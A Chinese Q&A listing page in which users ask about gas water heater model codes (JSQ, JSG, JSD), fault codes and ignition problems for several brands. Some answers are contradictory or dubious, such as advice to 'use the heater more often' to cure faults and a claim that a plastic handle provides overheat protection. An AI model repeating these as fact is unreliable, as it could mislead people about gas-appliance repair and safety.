温度显示表上面有的 在通常情况下,史密斯电热水器加热灯红色灯是表示热水器正在加热。蓝色的灯等表示热水器加热已经完成,达到了设定的温度。电热水器是家庭必备的家用电器。

万喜热水器JSD和JSQ有什么区别?A4和A2的区别了?

问对人了,我是做家电的JS代表家用燃气快速热水器 Q 代表强制排气式 D代表烟道式(一)烟道式燃气热水器 烟道式热水器是直排式热水器的改进,在原来直排式结构上部增加一个防倒风排气罩与排烟系统。其工作原理是:冷水进入热水器的冷水人口,经过滤器和水-气联动装置总成后进入热交换器,加热后的热水从热水出口输出。燃气进入热水器的燃气人口,流经过滤器、燃气稳压器、电磁阀、气量调节阀、水-气联动装置总成中的燃气阀、集气管、燃气喷嘴进入燃烧器。在燃烧器中燃气-空气的混合物在火孔处被点燃形成稳定的本生火焰,在燃烧室内完全燃烧。高温烟气流经换热器换热后,进人防倒风排气罩与冷空气混合后从排烟口排向大气中。 烟道式热水器的主要特点是燃烧烟气经烟道排向室外,在一定程度上解决了室内空气污染问题,与直排式热水器的直接排烟相比较,这是燃气热水器在安全技术上的进步。烟道式热水器工艺技术成熟,价格低廉,目前在我国存在大量的用户,今后仍有一定市场机会。但由于此类热水器所需的燃烧空气仍取自室内,燃烧强度低,热水器体积大,还有安装和用户使用方面的问题导致热水器仍然存在不少安全隐患。因此从保证用户安全和环保角度讲,烟道式热水器今后会逐步退出市场。 (二)强制排气式燃气热水器 燃气热水器出现安全事故的主要原因是室内的空气污染,要避免烟气中CO的中毒事故,根本措施是把烟气排到室外,保持室内空气的清洁卫生。强制排气式热水器采用强制排风或者强制鼓风的方式将燃烧烟气排出室外。烟道式热水器利用自然排烟的方式把烟气排到室外,从使用安全上比较,它好于直排式热水器。但是烟道式热水器对烟道安装条件要求很高,一般城市的公寓式住宅难于满足。而强排式热水器的安全性能更为完善,安装相对简便。强排式热水器有两种典型结构:排风式与鼓风式。 强制式的好。强制式热水器本身有排气风扇,也就是引风机,可以将燃烧的废气排向室外,也可以通过烟道排出。 看着这么快,记得给分

美的强排JSQ16-8HR燃气热水器E2,伪火故障。求大神赐教。

E2为伪火故障,即热水器未点火前,控制器检测到火焰信号,控制器报故障E2。产生原因,其一热水器燃气气压过高,热水器关机后,余气还在燃烧,在点火时,已检测火焰信号,就报故障;其二,感应针短路,点火前同样能检测到火焰信号。解决办法:关机后,等待2-3分钟,再启动,否则,找专业人员,改换感应针。扩展资料常见强排式燃气热水器报警原因强排式燃气热水器出热水时感觉水温烫在用水龙头调水温加凉水后,就听见热水器滴滴滴的报警响声,然后没热水就直接出凉水了,把水龙头关上了滴滴滴的报警声消失,然后再用水龙头开热水时恢复正常,觉得水温烫后再用水龙头加凉水后又滴滴滴的报警声响起。这是超温报警,当混水过程中造成了热水出水变小,因而水箱温度升高,本身就炀的水再升温就超出了热水器超温熄火保护,温控器是65-75度不等的,说明水箱温度以超过此温度,所以使用时请直接在热水器上调到合适在使用,少量混水。

好太太热水器jsq24故障

好太太JSQ24热水器是一种经典的家用热水器,在使用过程中偶尔会出现故障,以下介绍一些常见故障和解决方法。1.漏水故障当好太太JSQ24热水器存在漏水问题时,需要立即停止使用并关闭水源。检查热水器内部的水管连接是否松动或破裂,如果出现问题需要重新安装并注重检查水管连接。2.热水不热如果好太太JSQ24热水器的热水不够热,可以检查热水器是否接通电源,是否处于加热状态,是否存在水泵故障或售后质量问题。如果以上检查均正常,可以根据情况增加热水器的使用频率或者更换设备。3.热水供应不足当好太太JSQ24热水器的热水供应不足时,需要检查热水器的水压是否正常,是否存在水管堵塞或气泵故障。如果以上检查均正常,则可以考虑增加热水器的使用频率或者更换设备。4.发出异常噪音如果好太太JSQ24热水器发出异常噪音,可以检查热水器的水泵是否松动或破裂,是否存在水管堵塞或售后质量问题。如果以上检查均正常,则可以考虑增加热水器的使用频率,或者更换设备并清理水管。总之,好太太JSQ24热水器故障的出现并不影响该设备的可靠性和易用性,只有及时做好维护和保养并严格按照用户手册使用才可使其更加可靠和安全。

前锋热水器JSQ20-A4,显示A9故障,是什么问题??

前锋热水器A9故障属于24v电源故障。1、原因之一:电源问题。解决方法:检查交流电源插头指示灯是否亮,先排除电源供电部分的问题。2、原因之二:电磁阀故障。解决方法:若点火的时候只听到点火声,没有电磁阀“嗒”磁 吸声,可能为电磁阀损坏或者老化,电磁阀老化,会不受控制,在打火开始时能吸合一下,打得着火,但随即闭合又熄火了;也可能为燃气压力过高或过低,使用钢瓶气的热水器会出现钢瓶减压阀输出压力过高或过低使用热水器不能打着火;更可能为电磁阀有脏物。电磁阀不能过气,燃气(天然气、液化石油气、 人工煤气 )就不能出来,不能出来,以致点不着火。在确认电磁阀好坏之前要确认点火器控制电路是否正常,若有故障,不能控制电磁阀吸合。3、原因之三:电点火器故障。解决方法:脉冲点火器和控制器有一方有故障,热水器均不能点火。扩展资料前锋热水器故障及解决显示温度上下波动出现忽冷忽热现象故障1、出现忽冷忽热现象的主要原因是水压变化大或气压不稳定,无其他情况下静待水压和气压稳定即可。2、是否由于水压变化大,可通过将喷头取下,斜向上喷水,观察喷水的距离,若发现喷水距离发生较大变化时,可能将会引起燃气热水器出水温度忽冷忽热,用户可联系自来水公司或者小区物管部门来调试水压。3、是否由于气压变化引起水温忽冷忽热,用户可通过将燃气热水器点着后,再将燃气灶具点着观察火焰燃烧高度变化来确认,若火焰燃烧高度变化较大,可联系天然气公司处理;当发现水压、气压都无较大波动时,致电前锋全国统一客服专线,公司安排服务人员上门检查。

热水器JSQ24-12ET10 数字和字母分别代表什么

根据国家标准,JSQ开头是普通强排式热水器,24代表额定热负荷:24KW,12代表额定产热水能力:12L/min,ET10代码是工厂制定的产品型号代码,主要是为了区别各系列型号,对于普通消费者并没有什么实际意义.

华帝燃气热水器jsq30的wifi怎么使用

1,首先保证手机和热水器要使用同一个WiFi环境下。 2,根据说明书上说明,在手机上下载对应的客户端,根据说明书上的方式进行连接即可。 注: 热水器上的WiFi其实就相当于是一个手机遥控器。需要通过手机上下载软件和热水器设备连接,在通过手机设置热水器连接上wifi网络信号,就可以通过手机设备开启和禁用热水器的电源连接。3,当前WIFI信号不稳定,或者一些公开的WIFI被很多人同时连接的情况下,就容易出现某些设备连接经常断开的情况,可以尝试换下别的WIFI试试。 热水器WiFi这个也是有线和无线两个,但有线比较成熟稳定。

燃气热水器是多大的容量 JSQ20

这种规格是10升的强排燃气热水器

海尔燃气热水器JSQ25是什么意思

家用快速燃气热水器。能出25千瓦的热量。后面就是升数以及型号

万家乐jsq24-12r1为什么这么便宜?

因为销售产品都从源头进的。万家乐jsq24-12r1便宜是因为销售产品都从源头进的,因此便宜,JS表示家用燃气快速热水器。Q制排气式。24该款热水器的额定热负荷为24千瓦。万家乐JSQ24-12R1(12T)是一款质量和性价比都很高的产品,使用上比较便捷,能够满足用户使用上需求,整体是一款好评率非常高的燃气热水器。

noritz热水器jsq20-h无法打火怎么处理

燃气热水器无法点火有很多原因,你先把机器型号写清楚,

能率热水器jsq22-1箱子左下角的一个塑料把手起什么作用?

能率热水器jsq22-1箱子左下角的一个塑料把手起防过热保护作用。塑料把手起防过热保护、过压保护作用。能率热水器,全球产销量最大的燃气热水器品牌之一。

林内jsq31c05的优缺点

模式多,很重。1、优点。林内jsq31c05的模式有:节能模式,高效模式,经济模式,自动模式等多种模式可供顾客使用。2、缺点。林内jsq31c05内部有多种电子原件组成,外壳是由铝合金打造,重量在40公斤,必须由两个人来搬运。

jsq27-14y3万和然气热水器用哪个模式

热水器用点动和全天候模式。它们两者的区别如下: 1、点动 其实热水器点动循环模式,非常好理解,重点就是2个字上,点和动。顾名思义就是,一个点给了信号,循环就启动了。那换到热水器工作上,就是在平时是关闭循环的,当厨房有热水使用需求,打开一下热水水龙头,然后立马关闭,热水器就会感应到这个热水点有用热水的需求,于是就会启动循环。 2、全天候 全天候热水器是指能控制气量来达到不增加水量的情况下可以用低水温淋浴,即天气热的时候也可以使用,一般适合老人夏天使用。 3、省电 就省电来说,是点动模式更加省电一些,因为全天候模式时热水器是一直工作的,需要不停消耗能量,而点动模式只是需要时才工作。 热水器使用时的部分注意事项: 1、空气能热水器的水箱放在室内或阳台,必须在水箱附近预设一个标准地漏,保持常开状态,并在水箱周边安装隔水设施。 2、若家的水压力≥2kg,请安装减压阀。 3、若所在地区自来水中的杂质较多,必须安装过滤系统。 4、预设的热水管要求保温,尤其是安装有回水管道的热水系统。管道具有良好的保温,将会为您大量的能耗费用,并提高使用性能

美的热水器jsq30-hf7怎么样

好。1、品质。美的热水器jsq30-hf7采用的是上等材质制作,品质好。2、价格。美的热水器jsq30-hf7的价格便宜实惠,性价比高。

jsq20-10p3不打火有电池吗?

1、很有可能是电池没电,此时可以打开电池盖进行检修或者更换。在热水器的右下方是一个椭圆形的塑料盒子,有一个可以打开的盖子。有些在电池盖的中心有一个小旋钮,可以旋转90度来打开电池盖。2、电池一般是一个到两个大的电池,一般使用普通的电池就可以了,不需要使用电池。购买铁壳电池是可以的,注意,电池一旦没电就会及时更换,否则电池会泄露,会腐蚀电池盒的弹簧。/相关知识普及:1、注意事项:使用jsq20-10p3热水器时,要注意连接口要有良好的通风,不要将物品挂在器具的出口,以免影响空气的流通。每次使用前应注重热水器或排风扇的房间窗户是否打开,通风是否良好。2、禁止在热水器周围布置易燃、易爆物品,禁止在排气口、供气口布置毛巾、抹布等易燃物品。使用后检查天然气阀门是否关闭,供气管道是否完好。要定期更换胶管,用胶管连接处的胰水检查是否有气泡,如有泄漏,及时报告修理。在使用过程中,每隔一段时间(6个月)需对热水器进行一次检查。

林内jsq20s是多少升

林内jsq20s是11升。品牌林内型号JSQ20-S产地,中国上海上海市,热水器类型,燃气热水器,额定输入功率。60瓦特额定电压220伏特。热水产率,10升/分钟。

燃气热水器型号JSQ后面的数是越大越好吗

按国标规定,燃气热水器型号含义如下:JSQ16-8L5表示热水产率为8升强排式的家用燃气热水器。JS——表示用于供热水的热水器;Q——强制排气式(排气方式代码:D—为烟道式, Q—为强排式(包含强抽式、强鼓式),G—为强制给排气式,W—室外安装型); 8——热水产率为8 L/min;当出热水温度比进冷水温度高25℃,热水器每分钟所出热水流量。L5——产品特征序号(由制造厂自行编制)16——额定热负荷16 kW,又称热流量,额定热负荷越大,耗气量越高; 反之, 额定热负荷越小,耗气量越高低; 要根据需要确定,一般建议如下:单浴室或单浴室带一个厨房用热水时,建议选用8升(16 kW)以上燃气热水器,最好是10升(20 kW)燃气热水器;双浴室同时使用或双浴室同时使用且带一个厨房用热水时,推荐使用16升(32 kW)以上燃气热水器;如使用浴缸,应选择10升以上大容量热水器。南方地区,可根据消费习惯等因素,适当减小热水器容量。

燃气热水器型号JSQ后面的数是越大越好吗?

按国标规定,燃气热水器型号含义如下:JSQ16-8L5表示热水产率为8升强排式的家用燃气热水器。JS——表示用于供热水的热水器;Q——强制排气式(排气方式代码:D—为烟道式, Q—为强排式(包含强抽式、强鼓式),G—为强制给排气式,W—室外安装型); 8——热水产率为8 L/min;当出热水温度比进冷水温度高25℃,热水器每分钟所出热水流量。L5——产品特征序号(由制造厂自行编制)16——额定热负荷16 kW,又称热流量,额定热负荷越大,耗气量越高; 反之, 额定热负荷越小,耗气量越高低; 要根据需要确定,一般建议如下:单浴室或单浴室带一个厨房用热水时,建议选用8升(16 kW)以上燃气热水器,最好是10升(20 kW)燃气热水器;双浴室同时使用或双浴室同时使用且带一个厨房用热水时,推荐使用16升(32 kW)以上燃气热水器;如使用浴缸,应选择10升以上大容量热水器。南方地区,可根据消费习惯等因素,适当减小热水器容量。

万和燃气电热水器型号中的JSQ是什么意思?

分都没有,谁理你啊!~

燃气热水器jsq30什么意思

“JSQ”中的“JS”是表示供热水的热水器,“Q”是表示强排气方式,简称强排。热水器JSQ30-GT27是强排热水器的系列号。 强排又分两种方式,一种是强抽式,即抽风机在热水器上端,另一种是强鼓式,即鼓风机在热水器下端。强抽式排气效果要好于强鼓式排气,主要是因为强抽式风扇转速高,抽力大。

万和JSQ20-10A燃气热水器显示E6是什么故障,怎样维修?

万和JSQ20-10A燃气热水器显示E6一般是指热水器的点火故障。可能的原因包括点火器、电池或电线路等问题。建议按照以下步骤进行维修:1. 检查点火器是否有损坏或脏污,如有需要清洗或更换。2. 检查电池是否已经耗尽或老化,如果是需要更换新电池。3. 检查电线路是否接触不良或损坏,如有需要进行修理或更换。4. 如果以上方法都无法解决问题,则建议联系专业人员进行维修或更换。在维修或更换过程中,请务必关闭燃气和电源开关,并注意安全事项,避免发生意外事故。如果您不确定如何进行维修操作,请咨询专业技术人员或厂家客服寻求帮助。

什么是JSQ电机

JSQ电机都被淘汰了八百年了:)替代电机可选型Y系列(一般效率)/YXn系列(高效节能型)/YP系列(变频)高压电机Y系列/YKK系列/YKS/YXn要买电机或咨询找我啊:)E-mail:jollylin@yeah.net

JSQ25如何调进气量和进水量?

一般可以按动控制面板上的升温键来调节进气量,通过按动控制面板上的注水量键来控制进水量,详细的操作方法在使用说明书上有具体的讲解。/相关知识科普:1、JSQ25燃气热水器的工作原理是在进气阀以及进水阀都己打开,电源接通的情况下,在打开热水阀,这时水进入热水器再经过水位传感器流向热交换器中的加热水管。当水量传感器感受到水流经时,这时使得其内部磁性转子开始转动,位于水量传感器外部又紧临转子的集成元件发出电脉冲,送至控制电路(即微电脑程序)。2、当转子的转速到达设定值后,电脑板控制的燃烧风机开始启动。而风机自身内部还装有一个集成元件,当风机的转速到达设定值时,燃烧器的燃气主气阀及燃气比例阀都将打开,燃气进入燃烧器,同时点火器让点火针处火花放电而点火。最开始点着的是一只或者是一排燃烧器,但火焰很快向所有燃烧器移动,进而点燃所有燃烧器。这时位于燃烧器上部的火焰检测装置检出火焰,通过控制电路将燃烧指示灯点亮,并使燃烧器持续燃烧下去。

海尔热水器JSQ20-P 和JSG32-P各字母各代表什么?这么看是强排式还是平衡式?

JSQ强排机,JSG平衡机,JSW户外机 燃气热水器的区分主要是每分钟的水流量,有8升、9升、10升、11升、12升等,型号中的数字就是指的这个,其它还有区分燃气种类等,但是并没有固定的标准,各厂家不一样。 --P是型号,就像0040802656是P系列你的面壳的专用号一样,只是个代号。 1)排风式强排热水器   排风式强排热水器是把烟道式热水器的防倒风排气罩更换为排风装置(包括集烟罩、电机、排风机、风压开关等),同时适当改造原控制电路即可完成。其工作原理是:冷水进入冷水入口,流经过滤器、水·气联动阀、进入燃气喷嘴。燃烧空气靠排风机从室内吸入,燃气在燃烧室内燃尽,高温烟气被换热器冷却后进入排风机被强制排向室外。   2)鼓风式强排热水器   鼓风式强排热水器的结构与排风式有很大不同。热水器进水经过滤器、水流开关、进入水箱换热器、水经加热后成为热水输出。燃气进入热水器,经过滤器、双电磁阀、燃气调节阀后进入燃气喷嘴。燃烧空气被鼓风机直接从室内吸入,经鼓风机加压进入密封燃烧室,燃气在燃烧室内燃尽,高温烟气经换热器冷却后从排烟口被强制排向室外。

燃气热水器jsq24和jsq25的区别

严格地讲,本话题算不得一个完整的问题。但实际生活中类似发问的用户还真不少,所以想展开说几句。先说品牌型号。就产品的独立性而言,要指定到某一特定产品,必须用品牌加完整的型号来表示;品牌就不多说了,重点说说型号吧。按照国家标准的规定,燃气热水器的型号通常由两部分组成,第一部分表示产品的技术特征和基本热负荷,可以按型号的前缀理解,任何品牌的燃气热水器都必须按此规则编写;前缀部分含义不大,在产品流通中使用较少。第二部分是企业自编号,是型号的主体部分,通常所说的型号即指这一部分。话题中只涉及型号的第一部分,其含义是,供热水型(S)家用燃气快速(Q)热水器(JS),前者的热负荷为24kW,后者的热负荷为25kW。热负荷相差4%,当两者都在额定状态下工作时,前者的耗气量为后者的96%。

年代jsq25怎么调温度

一般在侧面有一个温度设置钮,逆时针旋转为低,顺时针旋转为高,一般没有刻度,具体是多少度可以在温度指示器上看出来。如果你是洗澡,建议你温度设置在,就是顺时针旋转到底,这样可以边洗澡边加热,延长你的使用时间。

好太太燃气热水器jsq24使用方法

好太太燃气热水器jsq24使用方法 步骤:1、使用前先确认热水器上的两个阀门,有个蓝的,有个红的。你看看打没打开。没打开就先打开它。2、蓝色和红色的按钮其中一个就是角阀,蓝色阀门控制进水管,红色阀门控制出水管,你需要自己拧下试试,3、接通热水器电源,打开热水器,打开电源开关,4、设置好出水温度,一般温度30多度,然后再打开天然气阀门。5、接下来就是拧开水龙头,有水流的话热水器会自动打火,正常的话过一会儿就会有热水流出。

万和JSQ20-10C26热水器不着火了怎么办

燃气热水器打不着火的处理办法:1、电源问题,电池是否太旧了。出现的现象:检查交流电源插头指示灯是否是亮着的,若不亮,则说明是电源问题。解决办法:重新更换新电池。2、电磁阀故障。出现的现象:若点火的时候只听到点火声,没有电磁阀“嗒”的磁吸声,则可能为电磁阀损坏或者老化。若是电磁阀老化,在打火开始的时候能吸合一下,打得着火,但随即又熄火了。也可能为燃气压力过高或过低,使用钢瓶气的热水器会出现钢瓶减压阀输出压力过高或过低,导致热水器不能打着火。还有可能为电磁阀有脏物。电磁阀不能过气,燃气就不能出来,以致点不着火。在确认电磁阀故障之前还要先确认一下点火器控制电路是否正常,若有故障,也不能控制电磁阀吸合。解决办法:一一检查排除法确定具体原因。若电磁阀老化,则更换电磁阀。若燃气压力问题,则更换新的燃气瓶。若燃气阀有赃物,则清理干净。若点火控制电路,则维修电路问题。3、电点火器故障。出现现象:没有点火声和电火花。解决办法:检查脉冲点火器和控制器是否有一方有故障,有故障的情况则更换或维修。4、点火瓷针或感应瓷针问题。现象:没有点火声和电火花。解决办法:检查是否点火针偏位或老化,可更换或将点火针正确安放。若感应瓷针老化,则可将感应瓷针擦亮安放好只要火焰能充分燃烧着瓷针即可。5、水压问题。出现现象:有点火声和火花,燃起来很快熄灭。解决办法:打开水龙头检查水压是否过小,若水压过小,只有错开用水高峰期。6、水气联动装置故障。现象:没有点火声和电火花。解决办法:检查水气联动阀内鼓膜老化或损坏,不能推动微动开关,这时更换水气联动阀或维修。7、气源未开或进气滤网堵塞。现象:有点火声无电火花。解决办法:开启气源,清理进气过滤网。8、气种不符。现象:有点火声,无电火花。解决办法:如果是将液化气热水器接到天然气上,就需要将液化气热水器改成天然气热水器后才可以接入使用。9、气门密封件被燃气腐蚀发涨。现象:有点火声无电火花。解决办法:更换零部件。10、排烟管无法排气。现象:有点火声和电火花,但很快熄灭。解决办法:烟管有堵塞,清理烟管。若是烟管过长,则重新正确安装。

前锋燃气热水器JSQ24-H4开水打不燃火是什么问题。

建议查一下热水龙头出水情况,较小的话可能是水流量不足引起的问题。冷水正常,热水出水小,要考虑一下,为什么原来热水大,现在热水小,原因是水垢沉积原来越多,堵塞管路的问题,水流量不满足条件,热水器不能点火。燃气热水器不好打火的原因有很多, 水,气, 电任何一方面的元器件损坏, 都会引起热水器打不着火. 但现在热水器元器件的质量普遍提高, 不那么容易坏, 其实很多时候打不着火的原因是因为水路结垢引起热水管路堵塞, 导致水路流动背压较大, 大到一定程度, 热水器水气联动装置无法自动打开燃气通道, 没有燃气, 当然打不着火了,如果近期热水龙头全开, 热水水压较小, 可能性则更大.既然点火器工作正常, 就更加可以确定了.建议马上清洗除垢, 可以网购一套 燃气热水器免拆除垢器, 用它给热水器注入除垢剂清洗一下热水器内部和热水管路内部, 操作简单方便, 用它以后定期清洗, 当可避免再度发生此问题。

能率jsq系列和gq系列哪个好,对比有什么区别

  能率燃气热水器GQ-16B1FE(12T)大  以上两者区别  能率热水器GQ-1650FE(T)特有功能,也同时贵了很多啊  ★数字显示,轻薄设计,掌控方显魅力。建议操作面板,LED显示。  多机能遥控器,体验人机互动,掌控舒适魅力。  ★浴室呼叫:在浴室感觉不适,或需要某件必需品,可使用浴室遥控器上的传呼开关进行告知。  ★注水量智能设定:厨房遥控器可根据需要设定浴缸注水量,可分别设定40-260升,300,350,400,900升等值。当浴缸内水量达到设定值,遥控器的蜂鸣器会呼叫10秒钟进行告知,且水量一旦设定,就会被设定储存。  ★多遥控器使用时,任何遥控器都可以设置优先(优先指示灯亮)。优先的遥控器可以调节温度,此时其他的遥控器则不可以调节,防止其他的遥控器调整影响洗浴温度,或造成烫伤。  ★防熄火、防过热、防空烧、防过压、防雷击等40多重安全保护。  恒定是一种智慧。  ★环境七十二变,沐浴恒温不变。  ★水温自由调节,满足个性需求。  ★用料高标准,气种多选择。  ★低水量启动,燃气稳压保护。  ★水量伺服器搭载,保证超大出水量。  舒适是一种境界。  ★40多重安全防护装置,沐浴舒适更放心。防沸腾、防烫伤;温度设定优先;定时停机设置;防冻装置。  ★节能环保,营造舒适境界。节约每一分能源,火力三段切换;环保,让生活更美好。

惠而浦热水器JSQ25一T13w里面有装电池吗

有。惠而浦的电热水器有电池是在内部安装电池的位置在热水器的底部,在底部你可以看到一个长方形的塑料盖子,打开盖子就可以将旧电池取出更换了。

jsg23-b热水器与jsq24的区别

JSG是平衡式,可以装在浴室里,无疑气管也要接在浴室内,不绝对安全。南方天气还好,北方装的话还容易冻坏水箱,因为烟管相对要粗,容易进冷空气。JSQ是强排式,只能装在厨房内,相对安全。能率JSQ23-B是能率公司生产的燃气热水器。热水产率为11升/分,适用水压为0.08-0.5Mpa。j--家用S--快速燃气热水器Q--强制排气式24/20--功率 也就是每产热水能力:24为12L 20为10L即出热水的水流量大或小的区别 好不好用具体还得看功能 区别不是很大,D系列是老款,叫琥珀系列,T系列是新款,叫倍恒系列,T的比D的功率大,热水效,然后有几项新技术
 首页 上一页  1 2 3 4 5 6 7  下一页  尾页